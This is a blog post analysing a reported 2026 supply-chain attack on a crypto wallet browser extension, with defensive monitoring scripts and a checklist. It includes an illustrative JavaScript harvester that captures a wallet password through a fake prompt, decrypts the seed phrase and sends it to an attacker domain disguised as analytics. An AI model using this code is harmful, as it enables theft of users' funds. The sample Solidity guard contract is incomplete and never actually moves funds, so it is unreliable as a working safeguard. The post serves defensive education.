DEV Community

ohmygod
ohmygod

Posted on

The Trust Wallet Supply Chain Attack: How a Fake Chinese Security Firm Weaponized Browser Extensions to Steal $7M in Crypto

On March 17, 2026, the crypto world learned something unsettling: a Chinese hacker group operating as a legitimate cybersecurity company had been systematically stealing cryptocurrency through browser extension supply chain attacks. The group, operating under the name Wuhan Anshun Technology, was only exposed because of an internal dispute over profit splits.

The result: $7 million stolen across 37 token types, 2,600+ wallets drained, and a stark reminder that the biggest threat to self-custody isn't your private key management — it's the software sitting between you and your keys.

The Attack Anatomy

Phase 1: The Corporate Cover

Wuhan Anshun Technology presented itself as a security research firm — vulnerability research, red teaming, security services. The perfect cover for a group that needed access to security tooling, reverse engineering capabilities, and deep knowledge of wallet internals.

This mirrors a growing pattern: North Korea's Lazarus Group operates similarly through front companies, and the Bitrefill attack disclosed the same week used a compromised employee laptop as the initial vector.

Phase 2: Extension Supply Chain Compromise

The group specifically targeted Trust Wallet's Chrome extension v2.68. The attack injected malicious code into a legitimate extension update:

// Simplified representation of the malicious injection pattern
// DO NOT USE — for educational analysis only

class MaliciousWalletHarvester {
  constructor() {
    // Hook into the wallet's internal storage API
    this.interceptStorage();
    // Set up exfiltration endpoint
    this.exfilDomain = 'tw-security-update.com'; // newly registered
  }

  interceptStorage() {
    // Override the extension's wallet enumeration
    const originalGetWallets = chrome.storage.local.get;
    chrome.storage.local.get = async (keys, callback) => {
      const result = await originalGetWallets(keys);

      // Iterate through all stored wallet data
      if (result.wallets) {
        for (const wallet of result.wallets) {
          await this.harvestCredentials(wallet);
        }
      }
      return callback(result);
    };
  }

  async harvestCredentials(walletData) {
    // Trigger a fake "re-authentication" prompt
    const password = await this.promptReauth();

    // Decrypt mnemonic locally using captured password
    const mnemonic = this.decryptMnemonic(
      walletData.encryptedSeed, 
      password
    );

    // Exfiltrate via analytics-looking POST request
    await fetch(`https://${this.exfilDomain}/api/v1/analytics`, {
      method: 'POST',
      body: JSON.stringify({
        event: 'wallet_sync', // disguised as telemetry
        data: this.encode(mnemonic),
        chain: walletData.chainId,
        address: walletData.address
      })
    });
  }
}
Enter fullscreen mode Exit fullscreen mode

Key technical details from SlowMist's analysis:

  1. Local decryption: The malicious code decrypted mnemonics client-side using the user's password, then exfiltrated plaintext seeds
  2. Analytics camouflage: Exfiltration requests were disguised as legitimate analytics events using an open-source analytics library
  3. Newly registered domain: The C2 endpoint was registered days before the attack began — a classic indicator
  4. Scoped to extension only: Mobile apps and other browser extensions were unaffected

Phase 3: Multi-Chain Drain

Once mnemonics were captured, the group deployed automated tooling to:

  1. Bulk-scan assets across Ethereum, BNB Chain, Arbitrum, and other networks
  2. Prioritize high-value wallets for immediate draining
  3. Split and route stolen funds through multiple hops to exchanges
  4. Target 37 token types — not just ETH/BNB but DeFi tokens, stablecoins, and NFTs

Phase 4: Coordinated Phishing

As Trust Wallet disclosed the breach, the same group launched a secondary phishing campaign:

  • Fake social media accounts offering "emergency fixes"
  • Spoofed website mimicking Trust Wallet's support page
  • Prompted users to enter recovery phrases to "secure" their wallets
  • Shared infrastructure patterns with the malicious extension backend

Why Browser Extension Supply Chains Are DeFi's Achilles Heel

This isn't an isolated incident. Browser extension compromises are becoming the preferred attack vector for sophisticated threat actors:

Incident Date Loss Vector
Trust Wallet Extension Mar 2026 $7M Malicious update injection
Glassworm Campaign Mar 2026 Unknown Unicode steganography in npm/GitHub
Bitrefill Lazarus Attack Mar 2026 Undisclosed Employee device compromise
Ledger Connect Kit Dec 2023 $600K Former employee phishing
MetaMask Phishing Extensions 2022-2026 $50M+ Fake lookalike extensions

The Trust Problem

Every browser extension has god-mode access to your wallet:

Browser Extension Threat Model:

┌─────────────────────────────────────────┐
│  Chrome Extension (v2.68 compromised)   │
│  ┌─────────────────────────────────┐    │
│  │ Storage Access: ALL wallet data │    │
│  │ DOM Access: Inject UI prompts   │    │
│  │ Network: Send data anywhere     │    │
│  │ Updates: Auto-install silently  │    │
│  └─────────────────────────────────┘    │
│           ↓ Malicious Code ↓            │
│  ┌─────────────────────────────────┐    │
│  │ 1. Read encrypted mnemonics    │    │
│  │ 2. Prompt for password (fake)  │    │
│  │ 3. Decrypt locally             │    │
│  │ 4. Exfiltrate to C2            │    │
│  └─────────────────────────────────┘    │
└─────────────────────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Defense Patterns

1. Extension Integrity Verification

Monitor your installed extensions for unexpected changes:

#!/usr/bin/env python3
"""
Browser extension integrity monitor.
Alerts on unexpected extension updates or new permissions.
"""
import hashlib
import json
import os
from pathlib import Path
from datetime import datetime

CHROME_EXT_DIR = os.path.expanduser(
    "~/.config/google-chrome/Default/Extensions"
)

BASELINE_FILE = "extension_baseline.json"

CRITICAL_EXTENSIONS = {
    # Map extension IDs to expected names
    "egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
    "nkbihfbeogaeaoehlefnkodbefgpgknn": "MetaMask",
    "bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
}

def hash_extension_dir(ext_path: str) -> str:
    """Hash all JS files in an extension directory."""
    hasher = hashlib.sha256()
    for root, _, files in sorted(os.walk(ext_path)):
        for fname in sorted(files):
            if fname.endswith(('.js', '.html', '.json')):
                fpath = os.path.join(root, fname)
                with open(fpath, 'rb') as f:
                    hasher.update(f.read())
    return hasher.hexdigest()

def scan_extensions():
    """Scan and compare extension hashes against baseline."""
    current = {}
    alerts = []

    for ext_id, ext_name in CRITICAL_EXTENSIONS.items():
        ext_path = os.path.join(CHROME_EXT_DIR, ext_id)
        if not os.path.exists(ext_path):
            continue

        # Get latest version directory
        versions = sorted(os.listdir(ext_path))
        if not versions:
            continue

        latest = os.path.join(ext_path, versions[-1])
        current[ext_id] = {
            "name": ext_name,
            "version": versions[-1],
            "hash": hash_extension_dir(latest),
            "scanned_at": datetime.utcnow().isoformat()
        }

    # Compare against baseline
    if os.path.exists(BASELINE_FILE):
        with open(BASELINE_FILE) as f:
            baseline = json.load(f)

        for ext_id, data in current.items():
            if ext_id in baseline:
                if data["hash"] != baseline[ext_id]["hash"]:
                    alerts.append(
                        f"⚠️ HASH CHANGED: {data['name']} "
                        f"({baseline[ext_id]['version']}"
                        f"{data['version']})"
                    )
                if data["version"] != baseline[ext_id]["version"]:
                    alerts.append(
                        f"🔄 VERSION UPDATE: {data['name']} "
                        f"{data['version']}"
                    )

    # Save current as new baseline
    with open(BASELINE_FILE, 'w') as f:
        json.dump(current, f, indent=2)

    return alerts

if __name__ == "__main__":
    alerts = scan_extensions()
    for alert in alerts:
        print(alert)
    if not alerts:
        print("✅ All wallet extensions unchanged")
Enter fullscreen mode Exit fullscreen mode

2. Manifest Permission Auditing

Check what permissions your wallet extensions actually request:

#!/bin/bash
# Audit Chrome extension permissions for wallet extensions
CHROME_EXT="$HOME/.config/google-chrome/Default/Extensions"

# Known wallet extension IDs
declare -A WALLETS=(
  ["egjidjbpglichdcondbcbdnbeeppgdph"]="Trust Wallet"
  ["nkbihfbeogaeaoehlefnkodbefgpgknn"]="MetaMask"
  ["bfnaelmomeimhlpmgjnjophhpkkoljpa"]="Phantom"
)

echo "=== Wallet Extension Permission Audit ==="
echo "Date: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo ""

for ext_id in "${!WALLETS[@]}"; do
  name="${WALLETS[$ext_id]}"
  ext_dir="$CHROME_EXT/$ext_id"

  if [ ! -d "$ext_dir" ]; then
    echo "❌ $name: Not installed"
    continue
  fi

  # Get latest version
  latest=$(ls -1 "$ext_dir" | sort -V | tail -1)
  manifest="$ext_dir/$latest/manifest.json"

  if [ ! -f "$manifest" ]; then
    echo "⚠️ $name: No manifest found"
    continue
  fi

  echo "📦 $name (v$latest)"

  # Extract permissions
  echo "  Permissions:"
  jq -r '.permissions[]? // empty' "$manifest" 2>/dev/null \
    | sed 's/^/    - /'

  # Check for dangerous patterns
  echo "  Host Permissions:"
  jq -r '.host_permissions[]? // empty' "$manifest" 2>/dev/null \
    | sed 's/^/    - /'

  # Check content_security_policy for external domains
  csp=$(jq -r '.content_security_policy // 
    .content_security_policy.extension_pages // empty' \
    "$manifest" 2>/dev/null)

  if echo "$csp" | grep -qE 'connect-src.*https?://[^*]'; then
    echo "  ⚠️ CSP allows external connections:"
    echo "    $csp"
  fi

  # Check for suspicious JS file patterns
  suspicious=$(find "$ext_dir/$latest" -name "*.js" \
    -exec grep -l 'mnemonic\|seed.*phrase\|recovery.*phrase' {} \; \
    2>/dev/null | head -5)

  if [ -n "$suspicious" ]; then
    echo "  🔍 Files referencing mnemonics:"
    echo "$suspicious" | sed 's/^/    /'
  fi

  echo ""
done
Enter fullscreen mode Exit fullscreen mode

3. Hardware Wallet Isolation (The Real Fix)

Browser extensions will always be a risk. The architectural solution is removing secrets from the browser entirely:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/**
 * @title SupplyChainGuard
 * @notice On-chain guardrails that protect against 
 *         compromised wallet software
 */
contract SupplyChainGuard {

    struct TransferPolicy {
        uint256 dailyLimit;
        uint256 spentToday;
        uint256 lastResetTimestamp;
        uint256 timelockDelay;
        mapping(address => bool) whitelistedRecipients;
    }

    mapping(address => TransferPolicy) public policies;
    mapping(bytes32 => uint256) public pendingTransfers;

    event TransferQueued(
        bytes32 indexed id, 
        address indexed to, 
        uint256 amount, 
        uint256 executeAfter
    );
    event TransferExecuted(bytes32 indexed id);
    event TransferCancelled(bytes32 indexed id);

    /**
     * @notice Set daily spending limit and timelock
     * @dev Even if extension is compromised, attacker 
     *      can only drain up to dailyLimit instantly
     */
    function setPolicy(
        uint256 _dailyLimit,
        uint256 _timelockDelay,
        address[] calldata _whitelist
    ) external {
        TransferPolicy storage p = policies[msg.sender];
        p.dailyLimit = _dailyLimit;
        p.timelockDelay = _timelockDelay;

        for (uint i = 0; i < _whitelist.length; i++) {
            p.whitelistedRecipients[_whitelist[i]] = true;
        }
    }

    /**
     * @notice Queue a transfer that exceeds daily limit
     * @dev Gives user time to detect and cancel if 
     *      initiated by compromised software
     */
    function queueTransfer(
        address to, 
        uint256 amount
    ) external returns (bytes32) {
        TransferPolicy storage p = policies[msg.sender];

        // Reset daily counter if needed
        if (block.timestamp >= p.lastResetTimestamp + 1 days) {
            p.spentToday = 0;
            p.lastResetTimestamp = block.timestamp;
        }

        // Whitelisted recipients bypass timelock
        if (p.whitelistedRecipients[to] && 
            p.spentToday + amount <= p.dailyLimit) {
            p.spentToday += amount;
            // Execute immediately
            return bytes32(0);
        }

        // Non-whitelisted or over-limit: queue with timelock
        bytes32 txId = keccak256(abi.encodePacked(
            msg.sender, to, amount, block.timestamp
        ));

        uint256 executeAfter = block.timestamp + p.timelockDelay;
        pendingTransfers[txId] = executeAfter;

        emit TransferQueued(txId, to, amount, executeAfter);
        return txId;
    }

    /**
     * @notice Cancel a queued transfer 
     * @dev The defense window — if you see unauthorized 
     *      queued transfers, cancel them
     */
    function cancelTransfer(bytes32 txId) external {
        require(pendingTransfers[txId] > 0, "No such transfer");
        delete pendingTransfers[txId];
        emit TransferCancelled(txId);
    }
}
Enter fullscreen mode Exit fullscreen mode

4. Supply Chain Monitoring for Wallet Developers

If you're building wallet software, monitor your distribution pipeline:

#!/usr/bin/env python3
"""
Chrome Web Store extension update monitor.
Alerts when your published extension changes unexpectedly.
"""
import requests
import hashlib
import json
from datetime import datetime

EXTENSION_ID = "egjidjbpglichdcondbcbdnbeeppgdph"
EXPECTED_VERSION = "2.69"  # Known-good version

# Chrome Web Store API endpoint
CWS_API = (
    f"https://clients2.google.com/service/update2/crx"
    f"?response=redirect&acceptformat=crx2,crx3"
    f"&x=id%3D{EXTENSION_ID}%26uc"
)

def check_extension_update():
    """Check if extension has been updated unexpectedly."""

    # 1. Check version via Chrome Web Store
    detail_url = (
        f"https://chrome.google.com/webstore/detail/"
        f"{EXTENSION_ID}"
    )

    # 2. Download and hash the current CRX
    resp = requests.get(CWS_API, allow_redirects=True)
    if resp.status_code == 200:
        crx_hash = hashlib.sha256(resp.content).hexdigest()
        print(f"Current CRX hash: {crx_hash}")

        # Compare against known-good hash
        with open("known_good_hashes.json") as f:
            known = json.load(f)

        if crx_hash not in known.get("valid_hashes", []):
            print(f"⚠️ ALERT: Unknown CRX hash detected!")
            print(f"  Hash: {crx_hash}")
            print(f"  Time: {datetime.utcnow().isoformat()}")
            # Trigger incident response
            return False

    return True

def monitor_npm_dependencies():
    """
    Monitor npm package integrity for Electron 
    wallet apps.
    """
    # Check package-lock.json for unexpected changes
    with open("package-lock.json") as f:
        lock = json.load(f)

    critical_packages = [
        "@anthropic-ai/sdk",
        "ethers",
        "@solana/web3.js",
        "electron",
        "@metamask/providers"
    ]

    for pkg in critical_packages:
        if pkg in lock.get("packages", {}):
            integrity = lock["packages"][pkg].get("integrity")
            version = lock["packages"][pkg].get("version")
            print(f"  {pkg}@{version}: {integrity[:40]}...")

if __name__ == "__main__":
    check_extension_update()
    monitor_npm_dependencies()
Enter fullscreen mode Exit fullscreen mode

The Supply Chain Security Audit Checklist

If you're building or using wallet software, audit against these 10 points:

For Wallet Users:

  1. ☐ Use hardware wallet for any holdings > $1,000
  2. ☐ Disable auto-update for wallet extensions
  3. ☐ Verify extension hash after each manual update
  4. ☐ Use a dedicated browser profile for crypto (no other extensions)
  5. ☐ Set up on-chain spending limits and timelocks

For Wallet Developers:

  1. ☐ Implement reproducible builds (users can verify binaries)
  2. ☐ Use Sigstore/cosign for release signing
  3. ☐ Pin all npm/cargo/pip dependencies with integrity hashes
  4. ☐ Monitor Chrome Web Store / npm registry for unauthorized updates
  5. ☐ Implement CSP headers that block all external network requests except your RPC endpoints

The Bigger Picture

The Wuhan Anshun Technology incident reveals three uncomfortable truths:

  1. Threat actors are building companies as cover. State-sponsored groups and criminal enterprises create legitimate-looking security firms to access targets, recruit talent, and launder operations.

  2. Extension auto-updates are a loaded gun. Chrome's silent update mechanism means a single compromised developer account can push malicious code to millions of users instantly.

  3. Self-custody security is a full-stack problem. Your seed phrase can be perfectly managed, but if the software reading it is compromised, nothing else matters.

The $7 million stolen here is small compared to the $1.5 billion Bybit hack or the $600 million Ronin exploit. But the method is what matters — this is scalable, repeatable, and nearly invisible until an insider talks.


This article is part of the DeFi Security Research series. For more vulnerability analyses, audit tool guides, and security best practices, follow the series.

Disclaimer: Code examples are for educational purposes only. Never use security research tools against systems you don't own or have explicit permission to test.

Top comments (0)